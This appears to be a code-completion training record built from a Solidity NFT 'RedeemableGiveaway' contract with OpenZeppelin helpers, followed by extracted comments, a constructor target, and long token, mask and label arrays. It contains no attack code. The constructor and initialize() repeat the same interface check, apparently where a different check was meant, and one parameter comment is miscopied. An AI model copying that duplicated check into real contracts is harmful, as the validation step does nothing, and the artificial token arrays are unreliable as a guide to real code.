NFTs * of the `giveawayTokenContract`. * * Deployment and setup: * 1. Deploy smart contract, specify the giveawat smart contract address during the deployment: * - Mintable ER721 deployed instance address * 2. Execute `initialize` function and set up the giveaway parameters; * giveaway is not active until it's initialized and a valid `baseTokenContract` address is provided. */ contract RedeemableGiveaway is Ownable { /** * @dev Next token ID to mint; * initially this is the first available ID which can be minted; * at any point in time this should point to a available, mintable ID * for the token. * * `nextId` cannot be zero, we do not ever mint NFTs with zero IDs. */ uint256 public nextId = 1; /** * @dev Last token ID to mint; * once `nextId` exceeds `finalId` the giveaway pauses. */ uint256 public finalId; // ----- SLOT.1 (96/256) /** * @notice Giveaway start at unix timestamp; the giveaway is active after the start (inclusive) */ uint32 public giveawayStart; /** * @notice Giveaway end unix timestamp; the giveaway is active before the end (exclusive) */ uint32 public giveawayEnd; /** * @notice Counter of the tokens gifted (minted) by this sale smart contract. */ uint32 public giveawayCounter; /** * @notice The contract address of the giveaway token. */ address public immutable giveawayTokenContract; /** * @notice The contract address of the base token. */ address public baseTokenContract; /** * @notice Track redeemed base tokens. * @dev This is usefull to prevent same tokens to be used again after redeem. */ mapping(uint256 => bool) redeemedBaseTokens; /** * @dev Fired in initialize() * * @param _by an address which executed the initialization * @param _nextId next ID of the giveaway token to mint * @param _finalId final ID of the giveaway token to mint * @param _giveawayStart start of the giveaway, unix timestamp * @param _giveawayEnd end of the giveaway, unix timestamp * @param _baseTokenContract base token contract address used for redeeming */ event Initialized( address indexed _by, uint256 _nextId, uint256 _finalId, uint32 _giveawayStart, uint32 _giveawayEnd, address _baseTokenContract ); /** * @dev Fired in redeem(), redeemTo(), redeemSingle(), and redeemSingleTo() * * @param _by an address which executed the transaction, probably a base NFT owner * @param _to an address which received token(s) minted * @param _giveawayTokens array with IDS of the minted tokens */ event Redeemed(address indexed _by, address indexed _to, uint256[] _giveawayTokens); /** * @dev Creates/deploys RedeemableERC721Giveaway and binds it to Mintable ERC721 * smart contract on construction * * @param _giveawayTokenContract deployed Mintable ERC721 smart contract; giveaway will mint ERC721 * tokens of that type to the recipient */ constructor(address _giveawayTokenContract) { // Verify the input is set. require(_giveawayTokenContract != address(0), "giveaway token contract is not set"); // Verify input is valid smart contract of the expected interfaces. require( IERC165(_giveawayTokenContract).supportsInterface(type(IMintableERC721).interfaceId) && IERC165(_giveawayTokenContract).supportsInterface(type(IMintableERC721).interfaceId), "unexpected token contract type" ); // Assign the addresses. giveawayTokenContract = _giveawayTokenContract; } /** * @notice Number of tokens left on giveaway. * * @dev Doesn't take into account if giveway is active or not, * if `nextId - finalId < 1` returns zero. * * @return Number of tokens left on giveway. */ function itemsOnGiveaway() public view returns (uint256) { // Calculate items left on givewaway, taking into account that // `finalId` is givewaway (inclusive bound). return finalId >= nextId ? finalId + 1 - nextId : 0; } /** * @notice Number of tokens available on giveaway. * * @dev Takes into account if giveaway is active or not, doesn't throw, * returns zero if giveaway is inactive * * @return Number of tokens available on giveaway. */ function itemsAvailable() public view returns (uint256) { // Delegate to itemsOnSale() if giveaway is active, returns zero otherwise. return isActive() ? itemsOnGiveaway() : 0; } /** * @notice Active giveaway is an operational giveaway capable of minting tokens. * * @dev The giveaway is active when all the requirements below are met: * 1. `baseTokenContract` is set * 2. `finalId` is not reached (`nextId <= finalId`) * 3. current timestamp is between `giveawayStart` (inclusive) and `giveawayEnd` (exclusive) * * Function is marked as virtual to be overridden in the helper test smart contract (mock) * in order to test how it affects the giveaway process * * @return true if giveaway is active (operational) and can mint tokens, false otherwise. */ function isActive() public view virtual returns (bool) { // Evaluate giveaway state based on the internal state variables and return. return baseTokenContract != address(0) && nextId <= finalId && giveawayStart <= block.timestamp && giveawayEnd > block.timestamp; } /** * @dev Restricted access function to set up giveaway parameters, all at once, * or any subset of them. * * To skip parameter initialization, set it to the biggest number for the corresponding type; * for `_baseTokenContract`, use address(0) or '0x0000000000000000000000000000000000000000' from Javascript. * * Example: The following initialization will update only _giveawayStart and _giveawayEnd, * leaving the rest of the fields unchanged: * * initialize( * type(uint256).max, * type(uint256).max, * 1637080155850, * 1639880155950, * address(0) * ) * * Requires next ID to be greater than zero (strict): `_nextId > 0` * * Requires transaction sender to be the deployer of this contract. * * @param _nextId next ID of the token to mint, will be increased * in smart contract storage after every successful giveaway * @param _finalId final ID of the token to mint; giveaway is capable of producing * `_finalId - _nextId + 1` tokens * @param _giveawayStart start of the giveaway, unix timestamp * @param _giveawayEnd end of the giveaway, unix timestamp; sale is active only * when current time is within _giveawayStart (inclusive) and _giveawayEnd (exclusive) * @param _baseTokenContract end of the sale, unix timestamp; sale is active only * when current time is within _giveawayStart (inclusive) and _giveawayEnd (exclusive) */ function initialize( uint256 _nextId, // <<<--- keep type in sync with the body type(uint256).max !!! uint256 _finalId, // <<<--- keep type in sync with the body type(uint256).max !!! uint32 _giveawayStart, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _giveawayEnd, // <<<--- keep type in sync with the body type(uint32).max !!! address _baseTokenContract // <<<--- keep type in sync with the body address(0) !!! ) public onlyOwner { // Verify the inputs. // No need to verify extra parameters - "incorrect" values will deactivate the sale. require(_nextId > 0, "zero nextId"); // Initialize contract state based on the values supplied. // Take into account our convention that value `-1` means "do not set" if (_nextId != type(uint256).max) { nextId = _nextId; } if (_finalId != type(uint256).max) { finalId = _finalId; } if (_giveawayStart != type(uint32).max) { giveawayStart = _giveawayStart; } if (_giveawayEnd != type(uint32).max) { giveawayEnd = _giveawayEnd; } if (_baseTokenContract != address(0)) { // The base contract must implement the Mintable NFT interface. require( IERC165(_baseTokenContract).supportsInterface(type(IMintableERC721).interfaceId) && IERC165(_baseTokenContract).supportsInterface(type(IMintableERC721).interfaceId), "unexpected token contract type" ); baseTokenContract = _baseTokenContract; } // Emit initialize event - read values from the storage since not all of them might be set. emit Initialized(msg.sender, nextId, finalId, giveawayStart, giveawayEnd, baseTokenContract); } /** * @notice Given an array of base tokens, check if any of the tokens were previously redeemed. * @param _baseTokens Array with base tokens ID. * @return true if any base token was previously redeemed, false otherwise. */ function areRedeemed(uint256[] calldata _baseTokens) external view returns (bool[] memory) { bool[] memory redeemed = new bool[](_baseTokens.length); for (uint256 i = 0; i < _baseTokens.length; i++) { redeemed[i] = redeemedBaseTokens[_baseTokens[i]]; } return redeemed; } /** * @notice Redeem several tokens using the caller address. This function will fail if the provided `_baseTokens` * are not owned by the caller or have previously redeemed. * * @param _baseTokens Array with base tokens ID. */ function redeem(uint256[] memory _baseTokens) public { redeemTo(msg.sender, _baseTokens); } /** * @notice Redeem several tokens into the address specified by `_to`. This function will fail * if the provided `_baseTokens` are not owned by the caller or have previously redeemed. * * @param _to Address where the minted tokens will be assigned. * @param _baseTokens Array with base tokens ID. */ function redeemTo(address _to, uint256[] memory _baseTokens) public { // Verify the recipient's address. require(_to != address(0), "recipient not set"); // Verify more than 1 tokens were provided, else the caller can use // the single variants of the redeem functions. require(_baseTokens.length > 1, "incorrect amount"); // Verify that all the specified base tokens IDs are owned by the transaction caller // and does not have already been redeemed. for (uint256 i = 0; i < _baseTokens.length; i++) { require(IERC721(baseTokenContract).ownerOf(_baseTokens[i]) == msg.sender, "wrong owner"); require(!redeemedBaseTokens[_baseTokens[i]], "token already redeemed"); } // Verify there is enough items available to giveaway. // Verifies giveaway is in active state under the hood. require(itemsAvailable() >= _baseTokens.length, "inactive giveaway or not enough items available"); // Store the minted giveaway tokens. uint256[] memory giveawayTokens = new uint256[](_baseTokens.length); // For each base token provided, mint a giveaway token. for (uint256 i = 0; i < _baseTokens.length; i++) { // Mint token to to the recipient. IMintableERC721(giveawayTokenContract).mint(_to, nextId); // Save the minted token ID. giveawayTokens[i] = nextId; // Set the next token ID to mint. nextId += 1; // Increase the giveaway counter. giveawayCounter += 1; // Record the base token, so that it cannot be used again for redeeming. redeemedBaseTokens[_baseTokens[i]] = true; } // All the tokens were redeemed, emit the corresponding event. emit Redeemed(msg.sender, _to, giveawayTokens); } /** * @notice Redeem a single token using the caller address. This function will fail if the provided `_baseToken` * is not owned by the caller or have previously redeemed. * * @param _baseToken Base token ID to redeem. */ function redeemSingle(uint256 _baseToken) public { redeemSingleTo(msg.sender, _baseToken); } /** * @notice Redeem a single token into the address specified by `_to`. This function will fail * if the provided `_baseToken` is not owned by the caller or have previously redeemed. * * @param _to Address where the minted token will be assigned. * @param _baseToken Base token ID to redeem. */ function redeemSingleTo(address _to, uint256 _baseToken) public { // Verify the recipient's address. require(_to != address(0), "recipient not set"); // Verify that the specified base tokens ID is owned by the transaction caller // and does not have already been redeemed. require(IERC721(baseTokenContract).ownerOf(_baseToken) == msg.sender, "wrong owner"); require(!redeemedBaseTokens[_baseToken], "token already redeemed"); // Verify there is enough items available to giveaway. // Verifies giveaway is in active state under the hood. require(itemsAvailable() >= 1, "inactive giveaway or not enough items available"); // Store the minted giveaway token. uint256[] memory giveawayTokens = new uint256[](1); // Mint token to to the recipient. IMintableERC721(giveawayTokenContract).mint(_to, nextId); // Save the minted token ID. giveawayTokens[0] = nextId; // Set the next token ID to mint. nextId += 1; // Increase the giveaway counter. giveawayCounter += 1; // Record the base token, so that it cannot be used again for redeeming. redeemedBaseTokens[_baseToken] = true; // All the tokens were redeemed, emit the corresponding event. emit Redeemed(msg.sender, _to, giveawayTokens); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/introspection/IERC165.sol"; // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../token/ERC721/IERC721.sol"; // SPDX-License-Identifier: MIT pragma solidity 0.8.10; interface IMintableERC721 { /** * @notice Checks if specified token exists * * @dev Returns whether the specified token ID has an ownership * information associated with it * * @param _tokenId ID of the token to query existence for * @return whether the token exists (true - exists, false - doesn't exist) */ function exists(uint256 _tokenId) external view returns(bool); /** * @dev Creates new token with token ID specified * and assigns an ownership `_to` for this token * * @dev Unsafe: doesn't execute `onERC721Received` on the receiver. * Prefer the use of `saveMint` instead of `mint`. * * @dev Should have a restricted access handled by the implementation * * @param _to an address to mint token to * @param _tokenId ID of the token to mint */ function mint(address _to, uint256 _tokenId) external; /** * @dev Creates new tokens starting with token ID specified * and assigns an ownership `_to` for these tokens * * @dev Token IDs to be minted: [_tokenId, _tokenId + n) * * @dev n must be greater or equal 2: `n > 1` * * @dev Unsafe: doesn't execute `onERC721Received` on the receiver. * Prefer the use of `saveMintBatch` instead of `mintBatch`. * * @dev Should have a restricted access handled by the implementation * * @param _to an address to mint tokens to * @param _tokenId ID of the first token to mint * @param n how many tokens to mint, sequentially increasing the _tokenId */ function mintBatch(address _to, uint256 _tokenId, uint256 n) external; /** * @dev Creates new token with token ID specified * and assigns an ownership `_to` for this token * * @dev Checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. * * @dev Should have a restricted access handled by the implementation * * @param _to an address to mint token to * @param _tokenId ID of the token to mint */ function safeMint(address _to, uint256 _tokenId) external; /** * @dev Creates new token with token ID specified * and assigns an ownership `_to` for this token * * @dev Checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. * * @dev Should have a restricted access handled by the implementation * * @param _to an address to mint token to * @param _tokenId ID of the token to mint * @param _data additional data with no specified format, sent in call to `_to` */ function safeMint(address _to, uint256 _tokenId, bytes memory _data) external; /** * @dev Creates new tokens starting with token ID specified * and assigns an ownership `_to` for these tokens * * @dev Token IDs to be minted: [_tokenId, _tokenId + n) * * @dev n must be greater or equal 2: `n > 1` * * @dev Checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. * * @dev Should have a restricted access handled by the implementation * * @param _to an address to mint token to * @param _tokenId ID of the token to mint * @param n how many tokens to mint, sequentially increasing the _tokenId */ function safeMintBatch(address _to, uint256 _tokenId, uint256 n) external; /** * @dev Creates new tokens starting with token ID specified * and assigns an ownership `_to` for these tokens * * @dev Token IDs to be minted: [_tokenId, _tokenId + n) * * @dev n must be greater or equal 2: `n > 1` * * @dev Checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. * * @dev Should have a restricted access handled by the implementation * * @param _to an address to mint token to * @param _tokenId ID of the token to mint * @param n how many tokens to mint, sequentially increasing the _tokenId * @param _data additional data with no specified format, sent in call to `_to` */ function safeMintBatch(address _to, uint256 _tokenId, uint256 n, bytes memory _data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; }
* @notice Giveaway start at unix timestamp; the giveaway is active after the start (inclusive)/* @notice Giveaway end unix timestamp; the giveaway is active before the end (exclusive)/* @notice Counter of the tokens gifted (minted) by this sale smart contract./* @notice The contract address of the giveaway token./* @notice The contract address of the base token./* @notice Track redeemed base tokens. @dev This is usefull to prevent same tokens to be used again after redeem./* @dev Fired in initialize() @param _by an address which executed the initialization @param _nextId next ID of the giveaway token to mint @param _finalId final ID of the giveaway token to mint @param _giveawayStart start of the giveaway, unix timestamp @param _giveawayEnd end of the giveaway, unix timestamp @param _baseTokenContract base token contract address used for redeeming/* @dev Fired in redeem(), redeemTo(), redeemSingle(), and redeemSingleTo() @param _by an address which executed the transaction, probably a base NFT owner @param _to an address which received token(s) minted @param _giveawayTokens array with IDS of the minted tokens/* @dev Creates/deploys RedeemableERC721Giveaway and binds it to Mintable ERC721 smart contract on construction @param _giveawayTokenContract deployed Mintable ERC721 smart contract; giveaway will mint ERC721 tokens of that type to the recipient/ Verify the input is set. Verify input is valid smart contract of the expected interfaces. Assign the addresses.
constructor(address _giveawayTokenContract) { require(_giveawayTokenContract != address(0), "giveaway token contract is not set"); require( IERC165(_giveawayTokenContract).supportsInterface(type(IMintableERC721).interfaceId) && IERC165(_giveawayTokenContract).supportsInterface(type(IMintableERC721).interfaceId), "unexpected token contract type" ); giveawayTokenContract = _giveawayTokenContract; }
14,093,746
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 20392, 22374, 26718, 787, 622, 9753, 2858, 31, 326, 8492, 26718, 353, 2695, 1839, 326, 787, 261, 267, 9173, 13176, 14, 632, 20392, 22374, 26718, 679, 9753, 2858, 31, 326, 8492, 26718, 353, 2695, 1865, 326, 679, 261, 23792, 13176, 14, 632, 20392, 9354, 434, 326, 2430, 314, 2136, 329, 261, 81, 474, 329, 13, 635, 333, 272, 5349, 13706, 6835, 18, 20308, 632, 20392, 1021, 6835, 1758, 434, 326, 8492, 26718, 1147, 18, 20308, 632, 20392, 1021, 6835, 1758, 434, 326, 1026, 1147, 18, 20308, 632, 20392, 11065, 283, 24903, 329, 1026, 2430, 18, 632, 5206, 1220, 353, 999, 2854, 358, 5309, 1967, 2430, 358, 506, 1399, 3382, 1839, 283, 24903, 18, 20308, 632, 5206, 478, 2921, 316, 4046, 1435, 632, 891, 389, 1637, 392, 1758, 1492, 7120, 326, 10313, 632, 891, 389, 4285, 548, 1024, 1599, 434, 326, 8492, 26718, 1147, 358, 312, 474, 632, 891, 389, 6385, 548, 727, 1599, 434, 326, 8492, 26718, 1147, 358, 312, 474, 632, 891, 389, 75, 688, 26718, 1685, 787, 434, 326, 8492, 26718, 16, 9753, 2858, 632, 891, 389, 75, 688, 26718, 1638, 679, 434, 326, 8492, 26718, 16, 9753, 2858, 632, 891, 389, 1969, 1345, 8924, 1026, 1147, 6835, 1758, 1399, 364, 283, 24903, 310, 20308, 632, 5206, 478, 2921, 316, 283, 24903, 9334, 283, 24903, 774, 9334, 283, 24903, 5281, 9334, 471, 283, 24903, 5281, 774, 1435, 632, 891, 389, 1637, 392, 1758, 1492, 7120, 326, 2492, 16, 8656, 279, 1026, 423, 4464, 3410, 632, 891, 389, 869, 392, 1758, 1492, 5079, 1147, 12, 87, 13, 312, 474, 329, 632, 891, 389, 75, 688, 26718, 5157, 526, 598, 1599, 55, 434, 326, 312, 474, 329, 2430, 20308, 632, 5206, 10210, 19, 15037, 383, 1900, 868, 24903, 429, 654, 39, 27, 5340, 43, 688, 26718, 471, 16129, 518, 358, 490, 474, 429, 4232, 39, 27, 5340, 1377, 13706, 6835, 603, 16171, 632, 891, 389, 75, 688, 26718, 1345, 8924, 19357, 490, 474, 429, 4232, 39, 27, 5340, 13706, 6835, 31, 8492, 26718, 903, 312, 474, 4232, 39, 27, 5340, 1377, 2430, 434, 716, 618, 358, 326, 8027, 19, 8553, 326, 810, 353, 444, 18, 8553, 810, 353, 923, 13706, 6835, 434, 326, 2665, 7349, 18, 12093, 326, 6138, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 3885, 12, 2867, 389, 75, 688, 26718, 1345, 8924, 13, 288, 203, 565, 2583, 24899, 75, 688, 26718, 1345, 8924, 480, 1758, 12, 20, 3631, 315, 75, 688, 26718, 1147, 6835, 353, 486, 444, 8863, 203, 203, 565, 2583, 12, 203, 1377, 467, 654, 39, 28275, 24899, 75, 688, 26718, 1345, 8924, 2934, 28064, 1358, 12, 723, 12, 3445, 474, 429, 654, 39, 27, 5340, 2934, 5831, 548, 13, 597, 203, 3639, 467, 654, 39, 28275, 24899, 75, 688, 26718, 1345, 8924, 2934, 28064, 1358, 12, 723, 12, 3445, 474, 429, 654, 39, 27, 5340, 2934, 5831, 548, 3631, 203, 1377, 315, 21248, 1147, 6835, 618, 6, 203, 565, 11272, 203, 203, 565, 8492, 26718, 1345, 8924, 273, 389, 75, 688, 26718, 1345, 8924, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 